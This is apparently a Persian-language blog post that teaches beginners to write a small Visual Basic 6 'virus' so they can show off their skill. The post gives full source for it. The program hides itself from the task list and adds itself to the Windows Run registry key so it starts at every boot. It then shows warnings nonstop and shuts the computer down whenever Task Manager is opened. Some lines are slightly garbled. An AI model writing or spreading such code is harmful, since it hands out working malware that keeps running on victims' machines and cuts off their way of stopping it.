وستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره) ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه وسایل لازم: فقط یه تایمر مثل همیشه! کدها:
Private Sub Form_Load() App.TaskVisible = False timer1.interval=1 Me.Hide Set Reg = Create("w.shell") Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" Timer1.Interval = 1 End Sub Private Sub Timer1_Timer() MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!" Dim handel As Long handel = FindWindow(vbNullString, "Windows Task Manager") If handel <> 0 Then Shell "shutdown -s -t 2 " End Sub
و اما توضیحات: خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
نوشته شده در یکشنبه 89/6/28ساعت 8:24 عصر توسط javad
نظرات دیگران()
